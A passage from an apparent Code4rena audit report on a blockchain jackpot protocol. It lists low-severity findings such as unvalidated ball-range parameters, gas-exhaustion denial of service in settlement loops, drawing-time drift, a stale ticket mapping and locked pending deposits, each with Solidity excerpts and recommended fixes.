Impact Details
Setting normalBallMax outside the valid range (5-128) breaks:
initializeJackpot()- Cannot initialize new drawings ifnormalBallMax > 128or< 5calculateAndStoreDrawingUserWinnings()- Cannot calculate payouts during drawing settlementscaledEntropyCallback()- Cannot finalize drawings due to combination calculation failures
This can permanently disable drawing initialization and settlement.
Recommendations
Add validation to enforce normalBallMax is between NORMAL_BALL_COUNT (5) and 128 in both the constructor and setNormalBallMax():
function setNormalBallMax(uint8 _normalBallMax) external onlyOwner {
if (_normalBallMax < NORMAL_BALL_COUNT) revert JackpotErrors.InvalidNormalBallMax();
if (_normalBallMax > 128) revert JackpotErrors.InvalidNormalBallMax();
// ... rest of function
}
Similarly, add validation in the constructor to prevent invalid initialization.
[L-05] Unbounded Bonus Ball Max Calculation Causes Denial of Service in Drawing Settlement Due to Excessive Gas Consumption
The bonusballMax value is calculated dynamically during drawing initialization without upper bounds validation, which can cause out-of-gas errors in critical settlement functions.
Based on system constraints:
normalBallMaxranges from 5 to 128 (due toCombinations.chooselimit)bonusballMaxis capped at255 - normalBallMax(bit vector constraint)- This allows
bonusballMaxto range up to 250 (whennormalBallMax = 5)
When bonusballMax is large (e.g., 200), the _countSubsetMatches() function performs excessive iterations:
for (uint8 i = 1; i <= _tracker.bonusballMax; i++) {
for (uint8 k = 1; k <= _tracker.normalTiers; k++) {
uint256[] memory subsets = Combinations.generateSubsets(_normalBallsBitVector, k);
for (uint256 l = 0; l < subsets.length; l++) {
if (i == _bonusball) {
matches[(k*2)+1] += _tracker.comboCounts[i][subsets[l]].count; // 3, 5, 7, 9, 11
dupMatches[k*2+1] += _tracker.comboCounts[i][subsets[l]].dupCount;
} else {
matches[(k*2)] += _tracker.comboCounts[i][subsets[l]].count; // 2, 4, 6, 8, 10
dupMatches[k*2] += _tracker.comboCounts[i][subsets[l]].dupCount;
}
}
}
}
The iteration count is bonusballMax * normalTiers * totalSubsets, where totalSubsets = C(5,1) + C(5,2) + C(5,3) + C(5,4) + C(5,5) = 31. With bonusballMax = 200, this results in approximately 31,000 iterations (200 * 5 * 31), which can exceed the block gas limit and cause out-of-gas errors.
This affects functions called during drawing settlement:
scaledEntropyCallback()- Finalizes drawingscalculateAndStoreDrawingUserWinnings()- Calculates payoutscountTierMatchesWithBonusball()- Counts winning tickets_countSubsetMatches(),_applyInclusionExclusionPrinciple(), and_calculateBonusballOnlyMatches()- Core calculation functions
Impact Details
When bonusballMax is large (e.g., 150-250), drawing settlement functions can run out of gas, preventing:
- Finalizing ongoing drawings via
scaledEntropyCallback() - Calculating and distributing winnings
- Initializing new drawings
This creates a denial-of-service condition that can permanently block the protocol.
Recommendations
Add validation to cap bonusballMax at a reasonable maximum that ensures settlement functions remain within gas limits.
[L-06] Drawing Time Calculation Uses Scheduled End Time Instead of Actual Settlement Time Causing Reduced Duration for Subsequent Drawings
When _setNewDrawingState() is called during drawing settlement, it calculates the next drawing’s time using the previous drawing’s scheduled end time rather than the actual settlement time, causing subsequent drawings to run for less than the intended duration.
In scaledEntropyCallback(), the next drawing time is set as follows:
_setNewDrawingState(newLpValue, currentDrawingState.drawingTime + drawingDurationInSeconds);
The calculation uses currentDrawingState.drawingTime + drawingDurationInSeconds, where currentDrawingState.drawingTime is the scheduled end time of the previous drawing. However, runJackpot() can only be called after this time has passed:
if (currentDrawingState.drawingTime >= block.timestamp) revert JackpotErrors.DrawingNotDue();
The time spent executing runJackpot() and scaledEntropyCallback() (including entropy provider delays, gas costs, and network congestion) is not accounted for. As a result, the next drawing’s drawingTime is set based on the previous drawing’s scheduled end time, not when settlement actually completes.
Impact Details
Subsequent drawings receive less time than drawingDurationInSeconds due to settlement delays. This reduces the window for ticket purchases, potentially decreasing revenue and user participation.
Recommendations
Consider calculating the next drawing’s time using the actual settlement timestamp instead of the previous drawing’s scheduled end time. Modify the call to _setNewDrawingState() in scaledEntropyCallback():
_setNewDrawingState(newLpValue, block.timestamp + drawingDurationInSeconds);
[L-07] Missing User Tickets Mapping Update in JackpotBridgeManager::claimTickets Function Causes Gas Inefficiency and Incorrect Return Values
The claimTickets() function fails to update the userTickets mapping when tickets are transferred, causing getUserTickets() to consume excessive gas and return incorrect results.
When claimTickets() is called, it transfers tickets via _updateTicketOwnership():
function _updateTicketOwnership(uint256[] memory _ticketIds, address _recipient) private {
for (uint256 i = 0; i < _ticketIds.length; i++) {
uint256 ticketId = _ticketIds[i];
delete ticketOwner[ticketId];
IERC721(address(jackpotTicketNFT)).safeTransferFrom(address(this), _recipient, ticketId);
}
}
This deletes the ticketOwner entry but does not update userTickets. Specifically, it does not:
- Remove ticket IDs from
userTickets[_recipient][drawingId].ticketIds - Decrement
userTickets[_recipient][drawingId].totalTicketsOwned
As a result, getUserTickets() creates an array with the original totalTicketsOwned count and iterates over all entries.
Since ticketOwner[ticketId] is deleted (becomes address(0)) for transferred tickets, the condition ticketOwner[ticketId] == _user fails, leaving those array slots as zero while still counting toward the array length.
Impact Details
This causes getUserTickets to consume more gas than supposed, and could lead to OOG error if totalTicketsOwned gets too large to iterate over. Also, it cause the function to return the wrong length of ticketIds array, although populated with real Ids and zero Ids.
Recommendations
Update the userTickets mapping in claimTickets() to remove transferred tickets.
[L-08] Pending Deposits Cannot Be Withdrawn Until Converted to Shares, Forcing Exposure to Game Risk
Users cannot withdraw pending deposits until they are converted to shares after drawing settlement, forcing exposure to game risk before withdrawal is possible.
When users deposit during a drawing, the funds are stored as pendingDeposits:
function processDeposit(uint256 _drawingId, address _lpAddress, uint256 _amount) external onlyJackpot() {
// ...
lp.lastDeposit.amount += _amount;
lp.lastDeposit.drawingId = _drawingId;
lpDrawingState[_drawingId].pendingDeposits += _amount;
emit LpDeposited(_lpAddress, _drawingId, _amount, lpDrawingState[_drawingId].pendingDeposits);
}
These pendingDeposits are not part of the current drawing’s lpPoolTotal or prizePool. However, withdrawals can only be initiated on consolidatedShares:
function processInitiateWithdraw(uint256 _drawingId, address _lpAddress, uint256 _amountToWithdrawInShares) external onlyJackpot() {
LP storage lp = lpInfo[_lpAddress];
_consolidateDeposits(lp, _drawingId);
if (lp.consolidatedShares < _amountToWithdrawInShares) revert JackpotErrors.InsufficientShares();
// ...
}
Shares are only created from past drawings after _consolidateDeposits() processes deposits from previous drawings. When a drawing settles, pendingDeposits are added to the next drawing’s pool:
function processDrawingSettlement(...) external onlyJackpot() returns (uint256 newLPValue, uint256 newAccumulator) {
LPDrawingState storage currentLP = lpDrawingState[_drawingId];
uint256 postDrawLpValue = currentLP.lpPoolTotal + _lpEarnings - _userWinnings - _protocolFeeAmount;
// Note: we don't need to update the accumulator for the first drawing (0) since it's already set to PRECISE_UNIT
if (_drawingId > 0) {
// When setting for drawingId we need to use the accumulator from the previous drawing. If LP was 0 in previous
// drawing then we need to set the accumulator to PRECISE_UNIT to avoid division by zero.
newAccumulator = currentLP.lpPoolTotal == 0 ? PRECISE_UNIT :
(drawingAccumulator[_drawingId - 1] * postDrawLpValue) / currentLP.lpPoolTotal;
drawingAccumulator[_drawingId] = newAccumulator;
}
// Convert pending withdrawals to usdc to calculate the new lp value
uint256 withdrawalsInUSDC = currentLP.pendingWithdrawals * newAccumulator / PRECISE_UNIT;
newLPValue = postDrawLpValue + currentLP.pendingDeposits - withdrawalsInUSDC;
}
This means users cannot withdraw their pending deposits until after settlement involving their funds, at which point the funds have been added to the next drawing’s prize pool and are exposed to game risk.
Impact Details
Users who deposit during a drawing cannot withdraw those funds until after settlement involving their funds, even though pendingDeposits are not at risk in the current drawing. By the time withdrawal becomes possible (after conversion to shares), the funds are already part of the next drawing’s prize pool and exposed to risk. This creates a lock-in period where users cannot exit their position despite their deposits not contributing to the current drawing’s risk. This reduces flexibility and may discourage participation, especially for users who want to withdraw before exposure.
Recommendations
Allow users to withdraw pending deposits directly without requiring conversion to shares first.
Disclosures
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.